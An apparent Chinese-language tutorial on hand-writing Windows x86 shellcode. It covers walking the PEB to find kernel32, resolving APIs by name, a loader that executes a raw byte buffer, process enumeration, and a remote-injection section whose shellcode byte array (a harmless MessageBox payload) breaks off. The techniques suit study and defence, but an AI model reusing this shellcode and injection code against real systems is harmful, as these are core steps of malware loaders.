PEB结构
上神图
fs:[0x18] == TEB
pTEB->0x30 == fs:[0x30] == PEB
一、MOV EAX, FS: [0x18]
MOV EAX, [EAX + 0x30]
二、MOV EAX, FS: [0x30]
_PEB
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
}PEB, * PPEB;
//Ldr距离_PEB距离为2+1+1+2*4=12(0xc)字节( PVOID占四个字节)
获取kernel32
#include<Windows.h>
#include<stdio.h>
#include<stdlib.h>
#include<iostream>
using namespace std;
//方法一(Windows的KERNEL32.dll的加载顺序是固定的)
HMODULE getken32base2()
{
HMODULE hk32;
__asm {
mov eax, fs: [0x30]//PEB
mov eax, [eax + 0xc]//peb_ldr_data
mov eax, [eax + 0xc]//_List_entry
mov eax, [eax]//ntdll
mov eax, [eax]//ker32
mov eax, dword ptr[eax + 0x18]//ker32base
mov hk32, eax
}
return hk32;
}
int main()
{
HMODULE d =getken32base2();
printf("%x\n",d);
HMODULE e = GetModuleHandleA("kernel32.dll");
printf("%x", e);
return 0;
}
//方法二
//遍历查找符合名称的PLDR_DATA_TABLE_ENTRY并返回对应的DllBase
for (; (pLdr->InLoadOrderModuleList.Flink) != (pLdrData->InLoadOrderLinks.Flink); )
{
if (strcmp_mine_w(pLdrData->BaseDllName.Buffer, p) == 0)
{
return (HMODULE)pLdrData->DllBase;
}
pLdrData = (PLDR_DATA_TABLE_ENTRY)(pLdrData->InLoadOrderLinks.Flink);
}
int strcmp_mine_w(wchar_t* p, wchar_t* q)
{
int len_p = strlen_mine_w(p);
int len_q = strlen_mine_w(q);
if (len_p != len_q)
return -1;
for (int i = 0; i < len_p && i < len_q; i++)
{
if (*(p + i) != *(q + i))
{
return -1;
}
}
return 0;
}
编写shellcode
处理字符串
char=input()
c2=[]
for i in char:
c2.append(i.upper())
c2.append(0)
print(c2)
//'K', 'E', 'R', 'N', 'E', 'L', '3', '2', '.', 'D', 'L', 'L', 0
配置流程
Release
c->代码生成->多线程MT
链接器—>高级->入口点
c->优化->优化->禁用
c->代码生成->安全检查->关闭
处理流程
获取kernel32.dll->获取LoadLibraryA和GetProcAddress->动态获取其他函数位置
FARPROC
WINAPI
MyOrdinalGetProcAddress(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
typedef FARPROC
(WINAPI
* pGetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
typedef HMODULE
(WINAPI
* pLoadLibraryA)(
_In_ LPCSTR lpLibFileName
);
typedef int
(WINAPI
* pMessageBoxW)(
_In_opt_ HWND hWnd,
_In_opt_ LPCWSTR lpText,
_In_opt_ LPCWSTR lpCaption,
_In_ UINT uType);
HMODULE ke32base();
extern "C" void fun()
{
HMODULE Hkernel = ke32base();
char GetProcAddressstr[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
char LoadLibraryAstr[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
pGetProcAddress GetProcAddressfun = (pGetProcAddress)MyOrdinalGetProcAddress(Hkernel, GetProcAddressstr);
pLoadLibraryA pLoadLibraryAfun = (pLoadLibraryA)MyOrdinalGetProcAddress(Hkernel, LoadLibraryAstr);
char user32str[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
HMODULE Huser32 = pLoadLibraryAfun(user32str);
char Messageboxstr[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
pMessageBoxW MessageBoxWFUN = (pMessageBoxW)GetProcAddressfun(Huser32, Messageboxstr);
MessageBoxWFUN(0, 0, 0, 0);
}
验证
在dbg中将.text节的内容保存为bin文件,用hxd导出为c,用loader进行加载验证是否可以完成测试功能
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
int main()
{
unsigned char rawData[4096] = {0};
void* p;
VirtualProtect(rawData, sizeof(rawData), PAGE_EXECUTE_READWRITE, &p);
_asm {
lea eax, rawData
push eax
ret
}
system("pause");
}
常用winapi
内存相关
int main()
{
char t[] = "coleak";
char t2[] = "yueyiyi";
LPVOID dd = VirtualAlloc(NULL,0x600, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(dd, t, sizeof(t));
LPVOID p2 =(char*) dd + sizeof(t)-1;
CopyMemory(p2, t2, sizeof(t2));
printf("%s", dd);
system("pause");
return 0;
}
coleakyueyiyi
HANDLE md= GetProcessHeap();
LPVOID dd=HeapAlloc(md, HEAP_ZERO_MEMORY,20);
printf("%x", dd);
char t[] = "coleak";
memcpy(dd, t, sizeof(t));
int d=HeapFree(md, 0, dd);
return 0;
HeapAlloc不用内存对齐,因此可以精准开启堆内存。
通过dbg调试发现HeapFree函数会用别的十六进制将堆的内容替代
遍历进程
void fun()
{
HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProceessnap == INVALID_HANDLE_VALUE)
{
printf_s("创建进行快照失败\n");
return;
}
else
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
BOOL hProcess = Process32First(hProceessnap, &pe32);
wchar_t buff[1024];
int num = 0;
while (hProcess)
{
num++;
wsprintf(buff, L"num:%d-----name:%s----ID:%d",num, pe32.szExeFile, pe32.th32ProcessID);
wprintf(L"%s\n", buff);
memset(buff, 0x00, 1024);
hProcess = Process32Next(hProceessnap, &pe32);
}
}
CloseHandle(hProceessnap);
}
远程进程注入shellcode
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
BOOL myinject(DWORD pid, int size, unsigned char* con);
DWORD fun(LPCTSTR ProcessName);
int main()
{
DWORD pid = 0;
pid=fun(L"aaa2.exe");
printf("pid:%u\n", pid);
unsigned char buff[4096] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x4C, 0xE8, 0xE5, 0x01, 0x00, 0x00, 0x89,
0x45, 0xFC, 0xC6, 0x45, 0xB4, 0x47, 0xC6, 0x45, 0xB5, 0x65, 0xC6, 0x45,
0xB6, 0x74, 0xC6, 0x45, 0xB7, 0x50, 0xC6, 0x45, 0xB8, 0x72, 0xC6, 0x45,
0xB9, 0x6F, 0xC6, 0x45, 0xBA, 0x63, 0xC6, 0x45, 0xBB, 0x41, 0xC6, 0x45,
0xBC, 0x64, 0xC6, 0x45, 0xBD, 0x64, 0xC6, 0x45, 0xBE, 0x72, 0xC6, 0x45,
0xBF, 0x65, 0xC6, 0x45, 0xC0, 0x73, 0xC6, 0x45, 0xC1, 0x73, 0xC6, 0x45,
0xC2, 0x00, 0xC6, 0x45, 0xC4, 0x4C, 0xC6, 0x45, 0xC5, 0x6F, 0xC6, 0x45,
0xC6, 0x61, 0xC6, 0x45, 0xC7, 0x64, 0xC6, 0x45, 0xC8, 0x4C, 0xC6, 0x45,
0xC9, 0x69, 0xC6, 0x45, 0xCA, 0x62, 0xC6, 0x45, 0xCB, 0x72, 0xC6, 0x45,
0xCC, 0x61, 0xC6, 0x45, 0xCD, 0x72, 0xC6, 0x45, 0xCE, 0x79, 0xC6, 0x45,
0xCF, 0x41, 0xC6, 0x45, 0xD0, 0x00, 0x8D, 0x45, 0xB4, 0x50, 0x8B, 0x4D,
0xFC, 0x51, 0xE8, 0x95, 0x02, 0x00, 0x00, 0x89, 0x45, 0xF0, 0x8D, 0x55,
0xC4, 0x52, 0x8B, 0x45, 0xFC, 0x50, 0xE8, 0x85, 0x02, 0x00, 0x00, 0x89,
0x45, 0xF8, 0xC6, 0x45, 0xE0, 0x75, 0xC6, 0x45, 0xE1, 0x73, 0xC6, 0x45,
0xE2, 0x65, 0xC6, 0x45, 0xE3, 0x72, 0xC6, 0x45, 0xE4, 0x33, 0xC6, 0x45,
0xE5, 0x32, 0xC6, 0x45, 0xE6, 0x2E, 0xC6, 0x45, 0xE7, 0x64, 0xC6, 0x45,
0xE8, 0x6C, 0xC6, 0x45, 0xE9, 0x6C, 0xC6, 0x45, 0xEA, 0x00, 0x8D, 0x4D,
0xE0, 0x51, 0xFF, 0x55, 0xF8, 0x89, 0x45, 0xF4, 0xC6, 0x45, 0xD4, 0x4D,
0xC6, 0x45, 0xD5, 0x65, 0xC6, 0x45, 0xD6, 0x73, 0xC6, 0x45, 0xD7, 0x73,
0xC6, 0x45, 0xD8, 0x61, 0xC6, 0x45, 0xD9, 0x67, 0xC6, 0x45, 0xDA, 0x65,
0xC6, 0x45, 0xDB, 0x42, 0xC6, 0x45, 0xDC, 0x6F, 0xC6, 0x45, 0xDD, 0x78,
0xC6, 0x45, 0xDE, 0x57, 0xC6, 0x45, 0xDF, 0x00, 0x8D, 0x55, 0xD4, 0x52,
0x8B, 0x45, 0xF4, 0x50, 0xFF, 0x55, 0xF0, 0x89, 0x45, 0xEC, 0x6A, 0x00,
0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x55, 0xEC, 0x8B, 0xE5, 0x5D,
0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0xC7, 0x45,
0xF8, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00,
0xEB, 0x09, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xFC, 0x8B,
0x4D, 0x08, 0x03, 0x4D, 0xFC, 0x0F, 0xBE, 0x11, 0x85, 0xD2, 0x74, 0x0B,
0x8B, 0x45, 0xF8, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xF8, 0xEB, 0xDF, 0x8B,
0x45, 0xF8, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83,
0xEC, 0x0C, 0x8B, 0x45, 0x08, 0x50, 0xE8, 0xB1, 0xFF, 0xFF, 0xFF, 0x83,
0xC4, 0x04, 0x89, 0x45, 0xF8, 0x8B, 0x4D, 0x0C, 0x51, 0xE8, 0xA2, 0xFF,
0xFF, 0xFF, 0x83, 0xC4, 0x04, 0x89, 0x45, 0xF4, 0x8B, 0x55, 0xF8, 0x3B,
0x55, 0xF4, 0x74, 0x05, 0x83, 0xC8, 0xFF, 0xEB, 0x41, 0xC7, 0x45, 0xFC,
0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x45, 0xFC, 0x83, 0xC0, 0x01,
0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xFC, 0x3B, 0x4D, 0xF8, 0x7D, 0x25, 0x8B,
0x55, 0xFC, 0x3B, 0x55, 0xF4, 0x7D, 0x1D, 0x8B, 0x45, 0x08, 0x03, 0x45,
0xFC, 0x0F, 0xBE, 0x08, 0x8B, 0x55, 0x0C, 0x03, 0x55, 0xFC, 0x0F, 0xBE,
0x02, 0x3B, 0xC8, 0x74, 0x05, 0x83, 0xC8, 0xFF, 0xEB, 0x04, 0xEB, 0xCA,
0x33, 0xC0, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x51, 0x64, 0xA1, 0x30, 0x00,
0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00,
0x8B, 0x40, 0x18, 0x89, 0x45, 0xFC, 0x8B, 0x45, 0xFC, 0x8B, 0xE5, 0x5D,
0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x8B, 0x45, 0x08, 0x03, 0x45,
0x0C, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83,
0xEC, 0x20, 0x8B, 0x45, 0x08, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF4, 0x8B,
0x51, 0x3C, 0x03, 0x55, 0x08, 0x89, 0x55, 0xF0, 0x8B, 0x45, 0x08, 0x50,
0xB9, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xD1, 0x00, 0x8B, 0x45, 0xF0, 0x8B,
0x4C, 0x10, 0x78, 0x51, 0xE8, 0xBF, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08,
0x89, 0x45, 0xF8, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xF8, 0x8B, 0x48,
0x20, 0x51, 0xE8, 0xA9, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45,
0xEC, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xF8, 0x8B, 0x48, 0x24, 0x51,
0xE8, 0x93, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xE4, 0x8B,
0x55, 0x08, 0x52, 0x8B, 0x45, 0xF8, 0x8B, 0x48, 0x1C, 0x51, 0xE8, 0x7D,
0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x89, 0x45, 0xE0, 0xC7, 0x45, 0xFC,
0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x55, 0xFC, 0x83, 0xC2, 0x01,
0x89, 0x55, 0xFC, 0x8B, 0x45, 0xF8, 0x8B, 0x4D, 0xFC, 0x3B, 0x48, 0x18,
0x73, 0x4E, 0x8B, 0x55, 0x08, 0x52, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0xEC,
0x8B, 0x14, 0x81, 0x52, 0xE8, 0x47, 0xFF, 0xFF, 0xFF, 0x83, 0xC4, 0x08,
0x89, 0x45, 0xE8, 0x8B, 0x45, 0x0C, 0x50, 0x8B, 0x4D, 0xE8, 0x51, 0xE8,
0x84, 0xFE, 0xFF, 0xFF, 0x83, 0xC4, 0x08, 0x85, 0xC0, 0x75, 0x1F, 0x8B,
0x55, 0x08, 0x52, 0x8B, 0x45, 0xFC, 0x8B, 0x4D, 0xE4, 0x0F, 0xB7, 0x14,
0x41, 0x8B, 0x45, 0xE0, 0x8B, 0x0C, 0x90, 0x51, 0xE8, 0x13, 0xFF, 0xFF,
0xFF, 0x83, 0xC4, 0x08, 0xEB, 0x04, 0xEB, 0x9E, 0x33, 0xC0, 0x8B, 0xE5,
0x5D, 0xC2, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83,
0xEC, 0x18, 0x81, 0x7D, 0x0C, 0xFF, 0xFF, 0x00, 0x00, 0x72, 0x11, 0x8B,
0x45, 0x0C, 0x50, 0x8B, 0x4D, 0x08, 0x51, 0xE8, 0xF4, 0xFE, 0xFF, 0xFF,
0xEB, 0x75, 0xEB, 0x71, 0x8B, 0x55, 0x08, 0x89, 0x55, 0xF8, 0x8B, 0x45,
0xF8, 0x8B, 0x48, 0x3C, 0x03, 0x4D, 0x08, 0x89, 0x4D, 0xF4, 0x8B, 0x55,
0x08, 0x52, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC8, 0x00, 0x8B, 0x55,
0xF4, 0x8B, 0x44, 0x0A, 0x78, 0x50, 0xE8, 0xB5, 0xFE, 0xFF, 0xFF, 0x83,
0xC4, 0x08, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0x08, 0x51, 0x8B, 0x55, 0xFC,
0x8B, 0x42, 0x1C, 0x50, 0xE8, 0x9F, 0xFE, 0xFF, 0xFF, 0x83, 0xC4, 0x08,
0x89, 0x45, 0xEC, 0x8B, 0x4D, 0xFC, 0x8B, 0x51, 0x10, 0x89, 0x55, 0xF0,
0x8B, 0x45, 0x08, 0x50, 0x8B, 0x4D, 0x0C, 0x2B, 0x4D, 0xF0, 0x8B, 0x55,
0xEC, 0x8B, 0x04, 0x8A, 0x50, 0xE8, 0x7A, 0xFE, 0xFF, 0xFF, 0x83, 0xC4,
0x08, 0x89, 0x45, 0xE8, 0x8B, 0x45, 0xE8, 0xEB, 0x02, 0x33, 0xC0, 0x8B,
0xE5, 0x5D, 0xC2, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
